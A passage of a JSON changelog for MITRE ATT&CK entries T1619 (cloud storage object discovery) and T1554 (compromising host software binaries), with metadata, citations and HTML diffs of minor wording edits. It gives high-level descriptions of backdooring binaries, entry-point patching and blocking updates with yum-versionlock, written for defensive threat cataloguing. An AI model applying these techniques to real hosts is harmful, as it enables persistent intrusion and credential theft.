                    "description": "Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage.  Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS(Citation: ListObjectsV2) and List Blobs in Azure.(Citation: List Blobs)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "discovery"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1619",
                            "external_id": "T1619"
                        },
                        {
                            "source_name": "ListObjectsV2",
                            "description": "Amazon - ListObjectsV2. Retrieved October 4, 2021.",
                            "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html"
                        },
                        {
                            "source_name": "List Blobs",
                            "description": "Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021.",
                            "url": "https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Regina Elwell",
                        "Isif Ibrahima, Mandiant"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "IaaS"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:13:06.284000+00:00\", \"old_value\": \"2026-05-12 15:12:00.685000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage.  Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\\n\\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS(Citation: ListObjectsV2) and List Blobs in Azure.(Citation: List Blobs)\", \"old_value\": \"Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage.  Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\\n\\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage.  Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\\n \\n-Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .\\n+Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS(Citation: ListObjectsV2) and List Blobs in Azure.(Citation: List Blobs)\"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to51__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to51__0\"><a href=\"#difflib_chg_to51__top\">t</a></td><td class=\"diff_header\" id=\"from51_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;enumerate&nbsp;objects&nbsp;in&nbsp;cloud&nbsp;storage&nbsp;infrastru</td><td class=\"diff_next\"><a href=\"#difflib_chg_to51__top\">t</a></td><td class=\"diff_header\" id=\"to51_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;enumerate&nbsp;objects&nbsp;in&nbsp;cloud&nbsp;storage&nbsp;infrastru</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cture.&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;this&nbsp;information&nbsp;during&nbsp;automated</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cture.&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;this&nbsp;information&nbsp;during&nbsp;automated</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;discovery&nbsp;to&nbsp;shape&nbsp;follow-on&nbsp;behaviors,&nbsp;including&nbsp;requestin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;discovery&nbsp;to&nbsp;shape&nbsp;follow-on&nbsp;behaviors,&nbsp;including&nbsp;requestin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;all&nbsp;or&nbsp;specific&nbsp;objects&nbsp;from&nbsp;cloud&nbsp;storage.&nbsp;&nbsp;Similar&nbsp;to&nbsp;[F</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;all&nbsp;or&nbsp;specific&nbsp;objects&nbsp;from&nbsp;cloud&nbsp;storage.&nbsp;&nbsp;Similar&nbsp;to&nbsp;[F</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ile&nbsp;and&nbsp;Directory&nbsp;Discovery](https://attack.mitre.org/techni</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ile&nbsp;and&nbsp;Directory&nbsp;Discovery](https://attack.mitre.org/techni</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ques/T1083)&nbsp;on&nbsp;a&nbsp;local&nbsp;host,&nbsp;after&nbsp;identifying&nbsp;available&nbsp;sto</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ques/T1083)&nbsp;on&nbsp;a&nbsp;local&nbsp;host,&nbsp;after&nbsp;identifying&nbsp;available&nbsp;sto</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rage&nbsp;services&nbsp;(i.e.&nbsp;[Cloud&nbsp;Infrastructure&nbsp;Discovery](https:/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rage&nbsp;services&nbsp;(i.e.&nbsp;[Cloud&nbsp;Infrastructure&nbsp;Discovery](https:/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/attack.mitre.org/techniques/T1580))&nbsp;adversaries&nbsp;may&nbsp;access&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/attack.mitre.org/techniques/T1580))&nbsp;adversaries&nbsp;may&nbsp;access&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;contents/objects&nbsp;stored&nbsp;in&nbsp;cloud&nbsp;infrastructure.&nbsp;&nbsp;Cloud&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;contents/objects&nbsp;stored&nbsp;in&nbsp;cloud&nbsp;infrastructure.&nbsp;&nbsp;Cloud&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">service&nbsp;providers&nbsp;offer&nbsp;APIs&nbsp;allowing&nbsp;users&nbsp;to&nbsp;enumerate&nbsp;obj</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">service&nbsp;providers&nbsp;offer&nbsp;APIs&nbsp;allowing&nbsp;users&nbsp;to&nbsp;enumerate&nbsp;obj</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ects&nbsp;stored&nbsp;within&nbsp;cloud&nbsp;storage.&nbsp;Examples&nbsp;include&nbsp;ListObjec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ects&nbsp;stored&nbsp;within&nbsp;cloud&nbsp;storage.&nbsp;Examples&nbsp;include&nbsp;ListObjec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tsV2&nbsp;in&nbsp;AWS<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;ListObjectsV2)&nbsp;and&nbsp;List&nbsp;Blobs&nbsp;in&nbsp;Azur</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tsV2&nbsp;in&nbsp;AWS(Citation:&nbsp;ListObjectsV2)&nbsp;and&nbsp;List&nbsp;Blobs&nbsp;in&nbsp;Azure</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e(Citation:&nbsp;List&nbsp;Blobs)<span class=\"diff_sub\">&nbsp;.</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">.</span>(Citation:&nbsp;List&nbsp;Blobs)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0578: Detection Strategy for Cloud Storage Object Discovery"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-11 18:18:34.279000+00:00",
                    "modified": "2026-11-03 21:40:37.994000+00:00",
                    "name": "Compromise Host Software Binary",
                    "description": "Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\n\nAdversaries may establish persistence through modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)\n\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\n\nAfter modifying a binary, an adversary may attempt to impair defenses by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1554",
                            "external_id": "T1554"
                        },
                        {
                            "source_name": "Google Cloud Mandiant UNC3886 2024",
                            "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.",
                            "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations"
                        },
                        {
                            "source_name": "Unit42 Banking Trojans Hooking 2022",
                            "description": "Or Chechik. (2022, October 31). Banking Trojan Techniques: How Financially Motivated Malware Became Infrastructure. Retrieved September 27, 2023.",
                            "url": "https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n"
                        },
                        {
                            "source_name": "ESET FontOnLake Analysis 2021",
                            "description": "Vladislav Hr\u010dka. (2021, January 1). FontOnLake. Retrieved September 27, 2023.",
                            "url": "https://web-assets.esetstatic.com/wls/2021/10/eset_fontonlake.pdf"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "CrowdStrike Falcon OverWatch",
                        "Liran Ravich, CardinalOps",
                        "Jamie Williams (U \u03c9 U), PANW Unit 42"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "ESXi",
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "2.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:40:37.994000+00:00\", \"old_value\": \"2026-05-12 15:12:00.706000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\\n\\nAdversaries may establish persistence through modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)\\n\\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\\n\\nAfter modifying a binary, an adversary may attempt to impair defenses by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024)\", \"old_value\": \"Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\\n\\nAdversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)\\n\\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\\n\\nAfter modifying a binary, an adversary may attempt to impair defenses by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024)\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\\n \\n-Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)\\n+Adversaries may establish persistence through modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)\\n \\n An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\\n \"}}}",
                    "previous_version": "2.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to67__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to67__0\"><a href=\"#difflib_chg_to67__top\">t</a></td><td class=\"diff_header\" id=\"from67_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;modify&nbsp;host&nbsp;software&nbsp;binaries&nbsp;to&nbsp;establish&nbsp;p</td><td class=\"diff_next\"><a href=\"#difflib_chg_to67__top\">t</a></td><td class=\"diff_header\" id=\"to67_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;modify&nbsp;host&nbsp;software&nbsp;binaries&nbsp;to&nbsp;establish&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersistent&nbsp;access&nbsp;to&nbsp;systems.&nbsp;Software&nbsp;binaries/executables&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersistent&nbsp;access&nbsp;to&nbsp;systems.&nbsp;Software&nbsp;binaries/executables&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rovide&nbsp;a&nbsp;wide&nbsp;range&nbsp;of&nbsp;system&nbsp;commands&nbsp;or&nbsp;services,&nbsp;programs</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rovide&nbsp;a&nbsp;wide&nbsp;range&nbsp;of&nbsp;system&nbsp;commands&nbsp;or&nbsp;services,&nbsp;programs</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;and&nbsp;libraries.&nbsp;Common&nbsp;software&nbsp;binaries&nbsp;are&nbsp;SSH&nbsp;clients,&nbsp;F</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;and&nbsp;libraries.&nbsp;Common&nbsp;software&nbsp;binaries&nbsp;are&nbsp;SSH&nbsp;clients,&nbsp;F</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">TP&nbsp;clients,&nbsp;email&nbsp;clients,&nbsp;web&nbsp;browsers,&nbsp;and&nbsp;many&nbsp;other&nbsp;user</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">TP&nbsp;clients,&nbsp;email&nbsp;clients,&nbsp;web&nbsp;browsers,&nbsp;and&nbsp;many&nbsp;other&nbsp;user</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;or&nbsp;server&nbsp;applications.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;establish&nbsp;persiste</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;or&nbsp;server&nbsp;applications.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;establish&nbsp;persiste</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nce&nbsp;th<span class=\"diff_chg\">ough&nbsp;modifications&nbsp;to&nbsp;host</span>&nbsp;software&nbsp;binaries.&nbsp;For&nbsp;exam</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nce&nbsp;th<span class=\"diff_chg\">rough&nbsp;modifications&nbsp;to&nbsp;host</span>&nbsp;software&nbsp;binaries.&nbsp;For&nbsp;exa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ple,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;replace&nbsp;or&nbsp;otherwise&nbsp;infect&nbsp;a&nbsp;legitima</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mple,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;replace&nbsp;or&nbsp;otherwise&nbsp;infect&nbsp;a&nbsp;legitim</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;application&nbsp;binary&nbsp;(or&nbsp;support&nbsp;files)&nbsp;with&nbsp;a&nbsp;backdoor.&nbsp;Si</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ate&nbsp;application&nbsp;binary&nbsp;(or&nbsp;support&nbsp;files)&nbsp;with&nbsp;a&nbsp;backdoor.&nbsp;S</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nce&nbsp;these&nbsp;binaries&nbsp;may&nbsp;be&nbsp;routinely&nbsp;executed&nbsp;by&nbsp;applications</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ince&nbsp;these&nbsp;binaries&nbsp;may&nbsp;be&nbsp;routinely&nbsp;executed&nbsp;by&nbsp;application</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;or&nbsp;the&nbsp;user,&nbsp;the&nbsp;adversary&nbsp;can&nbsp;leverage&nbsp;this&nbsp;for&nbsp;persistent</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;or&nbsp;the&nbsp;user,&nbsp;the&nbsp;adversary&nbsp;can&nbsp;leverage&nbsp;this&nbsp;for&nbsp;persisten</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;access&nbsp;to&nbsp;the&nbsp;host.&nbsp;An&nbsp;adversary&nbsp;may&nbsp;also&nbsp;modify&nbsp;a&nbsp;software</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;access&nbsp;to&nbsp;the&nbsp;host.&nbsp;An&nbsp;adversary&nbsp;may&nbsp;also&nbsp;modify&nbsp;a&nbsp;softwar</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;binary&nbsp;such&nbsp;as&nbsp;an&nbsp;SSH&nbsp;client&nbsp;in&nbsp;order&nbsp;to&nbsp;persistently&nbsp;colle</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;binary&nbsp;such&nbsp;as&nbsp;an&nbsp;SSH&nbsp;client&nbsp;in&nbsp;order&nbsp;to&nbsp;persistently&nbsp;coll</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ct&nbsp;credentials&nbsp;during&nbsp;logins&nbsp;(i.e.,&nbsp;[Modify&nbsp;Authentication&nbsp;P</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ect&nbsp;credentials&nbsp;during&nbsp;logins&nbsp;(i.e.,&nbsp;[Modify&nbsp;Authentication&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rocess](https://attack.mitre.org/techniques/T1556)).(Citatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Process](https://attack.mitre.org/techniques/T1556)).(Citati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Google&nbsp;Cloud&nbsp;Mandiant&nbsp;UNC3886&nbsp;2024)&nbsp;&nbsp;An&nbsp;adversary&nbsp;may&nbsp;als</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;Google&nbsp;Cloud&nbsp;Mandiant&nbsp;UNC3886&nbsp;2024)&nbsp;&nbsp;An&nbsp;adversary&nbsp;may&nbsp;al</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;modify&nbsp;an&nbsp;existing&nbsp;binary&nbsp;by&nbsp;patching&nbsp;in&nbsp;malicious&nbsp;functio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">so&nbsp;modify&nbsp;an&nbsp;existing&nbsp;binary&nbsp;by&nbsp;patching&nbsp;in&nbsp;malicious&nbsp;functi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nality&nbsp;(e.g.,&nbsp;IAT&nbsp;Hooking/Entry&nbsp;point&nbsp;patching)(Citation:&nbsp;Un</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onality&nbsp;(e.g.,&nbsp;IAT&nbsp;Hooking/Entry&nbsp;point&nbsp;patching)(Citation:&nbsp;U</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">it42&nbsp;Banking&nbsp;Trojans&nbsp;Hooking&nbsp;2022)&nbsp;prior&nbsp;to&nbsp;the&nbsp;binary\u2019s&nbsp;leg</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nit42&nbsp;Banking&nbsp;Trojans&nbsp;Hooking&nbsp;2022)&nbsp;prior&nbsp;to&nbsp;the&nbsp;binary\u2019s&nbsp;le</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itimate&nbsp;execution.&nbsp;For&nbsp;example,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;modify&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gitimate&nbsp;execution.&nbsp;For&nbsp;example,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;modify&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">entry&nbsp;point&nbsp;of&nbsp;a&nbsp;binary&nbsp;to&nbsp;point&nbsp;to&nbsp;malicious&nbsp;code&nbsp;patched&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;entry&nbsp;point&nbsp;of&nbsp;a&nbsp;binary&nbsp;to&nbsp;point&nbsp;to&nbsp;malicious&nbsp;code&nbsp;patched&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;by&nbsp;the&nbsp;adversary&nbsp;before&nbsp;resuming&nbsp;normal&nbsp;execution&nbsp;flow.(Ci</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;by&nbsp;the&nbsp;adversary&nbsp;before&nbsp;resuming&nbsp;normal&nbsp;execution&nbsp;flow.(C</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;ESET&nbsp;FontOnLake&nbsp;Analysis&nbsp;2021)&nbsp;&nbsp;After&nbsp;modifying&nbsp;a&nbsp;bi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 